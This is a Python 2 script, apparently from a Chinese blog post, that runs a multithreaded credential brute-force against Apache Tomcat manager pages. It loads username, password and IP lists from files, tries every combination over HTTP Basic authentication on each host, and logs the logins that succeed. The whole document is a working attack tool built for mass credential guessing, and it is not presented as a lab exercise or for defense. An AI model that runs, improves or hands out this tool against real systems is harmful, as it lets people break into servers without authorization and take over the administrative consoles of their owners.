# coding:utf-8
# author:IversOn5
import requests
import base64
from sys import argv
import sys
import signal

username = []
password = []
ips = []


def func_username():
    um = open('username.txt','r')
    for u in um.readlines():
        username.append(u.strip())
    um.close()

def func_password():
    pw = open("password.txt",'r')
    for p in pw.readlines():
        password.append(p.strip())
    pw.close()


def file():
    file  = open("ips.txt").readlines()
    for f in file:
        ips.append(f.strip())


def quit(signum, frame):
    print '\n\n You choose to stop me !!'
    sys.exit(1)

def Crack(host):

    URL = "http://"+host+"/manager/html"

    if requests.get(URL,timeout=3).status_code == 401:
        for u in username:
            for p in password:
                try:

                    headers = {'Authorization': 'Basic %s==' % (base64.b64encode(u+':'+p))}
                    html  = requests.get(URL,timeout=5,headers=headers)
                    print "[+] Testing "+URL+" ===> "+u+" "+p
                    if html.status_code == 200 and "Tomcat"  in html.content:
                        with open("Good.txt",'a') as f:
                            f.write(URL+"   "+u+" || "+p+"\n")
                            break
                    elif html.status_code == 200 and "Tomcat" not in html.content:
                        with open("Good.txt",'a') as f:
                            f.write("Maybe --> "+URL+"   "+u+" || "+p+"\n")


                except Exception,e:
                    print e


def main():
    import threadpool

    func_username()
    func_password()
    file()
    pool = threadpool.ThreadPool(80)
    rs = threadpool.makeRequests(Crack, ips)
    [pool.putRequest(req) for req in rs]
    signal.signal(signal.SIGINT, quit)
    pool.wait()

if __name__ == '__main__':
    if len(argv) != 2:
        print("{} <ip_file>".format(argv[0]))
        sys.exit(1)
    else:
        main()

发表评论

电子邮件地址不会被公开。 必填项已用*标注